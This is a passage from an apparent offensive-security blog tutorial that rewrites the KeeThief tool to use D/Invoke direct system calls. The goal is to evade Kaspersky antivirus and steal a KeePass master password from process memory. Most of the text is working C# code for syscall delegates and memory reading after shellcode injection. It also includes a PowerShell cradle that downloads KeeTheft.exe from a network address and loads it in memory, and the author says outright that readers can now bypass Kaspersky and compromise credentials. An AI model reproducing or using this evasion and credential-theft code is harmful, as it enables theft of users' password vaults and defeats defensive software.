Delegates.NtWriteVirtualMemory ntWriteVirtualMemory = (Delegates.NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtWriteVirtualMemory));
// Execute the delegate as target function and return result
return ntWriteVirtualMemory(ProcessHandle, BaseAddress, Buffer, BufferLength, ref BytesWritten);
}
}

Let’s execute this code.

GetSyscallStub with D/Invoke
GetSyscallStub with D/Invoke

It works! Now let’s try it with Kaspersky AV enabled.

www

Another gift from the offensive community is the dinvoke.net resource by @_RastaMouse. You can copy/paste there ready-made delegate signatures for system calls and find useful code examples.

Easy
Easy

Voila!Voila! Your favorite antivirus keeps silence.

Modifying KeeThief

Now you possess knowledge required to rewrite the KeeThief logic for D/Invoke system calls. Instead of copying/pasting all the changes that I made, I will focus in this article on the function used to read the decrypted memory area containing the master password. The rest of the changes can be found on my GitHub.

Preparations

First, I fork the KeeThief and DInvoke projects. Next, I create a separate keethief branch in the DInvoke fork where I will get rid of all features that I don’t need, thus, reducing the amount of suspicious code.

Then I add modified DInvoke as a git submodule for KeeThief.

git submodule add -b keethief https://github.com/snovvcrash/DInvoke.git KeeTheft/KeeTheft/DInvoke

Now I can create the syscalls branch, open KeeTheft.sln in Visual Studio, and add the DInvoke folder to the project.

Upgrading the ReadProcessMemory function

In fact, only functions declared in Win32.cs are of interest for my purposes; so, let’s use the above-mentioned ReadProcessMemory function as an example (it’s called here).

Similar to the example described above, to use ReadProcessMemory in KeeThief, an ordinary P/Invoke import with DllImport is performed.

class Win32
{
// https://github.com/GhostPack/KeeThief/blob/04f3fbc0ba87dbcd9011ad40a1382169dc5afd59/KeeTheft/KeeTheft/Win32.cs#L37-L38
[DllImport("kernel32.dll")]
public static extern int ReadProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
[Out, MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 3)] byte[] lpBuffer,
int dwSize,
out IntPtr lpNumberOfBytesRead);
}

I am going to create separate classes Delegates.cs and Syscalls.cs for delegates and system call implementations, respectively. To localize the NtReadVirtualMemory function, I use the above-mentioned method taken from the ReactOS source code.

class Delegates
{
// https://github.com/snovvcrash/KeeThief/blob/3a1415e247688bc581f4dd036a6709737b3b3848/KeeTheft/KeeTheft/Delegates.cs#L26-L32
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate DI.Data.Native.NTSTATUS NtReadVirtualMemory(
IntPtr ProcessHandle,
IntPtr BaseAddress,
IntPtr Buffer,
uint NumberOfBytesToRead,
ref uint NumberOfBytesReaded);
}
class Syscalls
{
// https://github.com/snovvcrash/KeeThief/blob/3a1415e247688bc581f4dd036a6709737b3b3848/KeeTheft/KeeTheft/Syscalls.cs#L36-L47
public static DI.Data.Native.NTSTATUS NtReadVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, uint NumberOfBytesToRead, ref uint NumberOfBytesReaded)
{
// Get system call stub (i.e. pointer to the export of target function) and use it to initialize delegate
IntPtr stub = DI.DynamicInvoke.Generic.GetSyscallStub("NtReadVirtualMemory");
Delegates.NtReadVirtualMemory ntReadVirtualMemory = (Delegates.NtReadVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtReadVirtualMemory));
// Address delegate as target function and return result
return ntReadVirtualMemory(
ProcessHandle,
BaseAddress,
Buffer,
NumberOfBytesToRead,
ref NumberOfBytesReaded);
}
}

Now I have to make changes in the logic of the Main class Program.cs. Initially, it was as follows.

static class Program
{
public static void ExtractKeyInfo(IUserKey key, IntPtr ProcessHandle, bool DecryptKeys)
{
// https://github.com/GhostPack/KeeThief/blob/04f3fbc0ba87dbcd9011ad40a1382169dc5afd59/KeeTheft/KeeTheft/Program.cs#L156-L165
// Read plaintext password!
// Wait for shellcode to execute
Thread.Sleep(1000);
// Declare a variable for the number of read bytes and a static array to save the result
IntPtr NumBytes;
byte[] plaintextBytes = new byte[key.encryptedBlob.Length];
// Call the ReadProcessMemory function and pass address of the memory area to read the master password from as argument (EncryptedBlobAddr)
int res = Win32.ReadProcessMemory(ProcessHandle, EncryptedBlobAddr, plaintextBytes, plaintextBytes.Length, out NumBytes);
if (res != 0 && NumBytes.ToInt64() == plaintextBytes.Length)
{
// If successful, assign the result to the plaintextBlob field of the key object and display it in the console
key.plaintextBlob = plaintextBytes;
Logger.WriteLine(key);
}
}
}

Here, the already decrypted memory area in the remote process is read after the shellcode execution. The ReadProcessMemory function was selected as an example on purpose: its porting requires plenty of fiddling with types of parameters passed.

Below is what I got.

static class Program
{
public static void ExtractKeyInfo(IUserKey key, IntPtr ProcessHandle, bool DecryptKeys)
{
// https://github.com/snovvcrash/KeeThief/blob/3a1415e247688bc581f4dd036a6709737b3b3848/KeeTheft/KeeTheft/Program.cs#L161-L174
// Read plaintext password!
// Wait for shellcode to execute
Thread.Sleep(1000);
// Declare a variable for the number of read bytes and a pointer to the unmanaged memory area to save the result
uint NumBytes = 0;
IntPtr pPlaintextBytes = Marshal.AllocHGlobal(key.encryptedBlob.Length);
// Call the ReadProcessMemory function and pass address of the memory area to read the master password from as argument (EncryptedBlobAddr)
if (Syscalls.NtReadVirtualMemory(ProcessHandle, EncryptedBlobAddr, pPlaintextBytes, (uint)key.encryptedBlob.Length, ref NumBytes) == 0 && NumBytes == key.encryptedBlob.Length)
{
// If successful, copy the read bytes from the unmanaged memory area to a static array
byte[] plaintextBytes = new byte[NumBytes];
Marshal.Copy(pPlaintextBytes, plaintextBytes, 0, (int)NumBytes);
// Assign the result to the plaintextBlob field of the key object and display it in the console
key.plaintextBlob = plaintextBytes;
Logger.WriteLine(key);
}
// Free unmanaged memory allocated earlier
Marshal.FreeHGlobal(pPlaintextBytes);
}
}

As you can see, the main difference is that the Native API has no idea about .NET managed arrays; so, you have to alter the logic for work with unmanaged memory.

The rest of the Win32 API calls can be easily found in Program.cs using Ctrl-F; you have to perform for them the same operations as for ReadProcessMemory. The result is available in my fork.

Testing

I am going to compile the modified assembly and create a test KeeThief database with the password Passw0rd!. In my tests, I used the latest KeePass version available at the time of writing (2.50).

Loading the assembly to the memory and calling its entry point while the KeePass database is open.

$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.0.184/KeeTheft.exe')
$assembly = [System.Reflection.Assembly]::Load($data)
[KeeTheft.Program]::Main(" ")
Knock-knock!
Knock-knock!

Conclusions

Viruses have been employing system calls for a long time. In such situations, antivirus software detects malicious behavior by monitoring ntdll.dll parsing operations and launches of suspicious processes or threads that use potentially dangerous calls (e.g. NtCreateThreadEx, NtQueueApcThread, etc.).

Now you know how to bypass Kaspersky AV and compromise credentials in KeePass. As a homework, you can create an elegant download cradle to execute the program from memory in PowerShell in one click (hint: review a few articles about System.Reflection.Assembly). Good luck!


Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>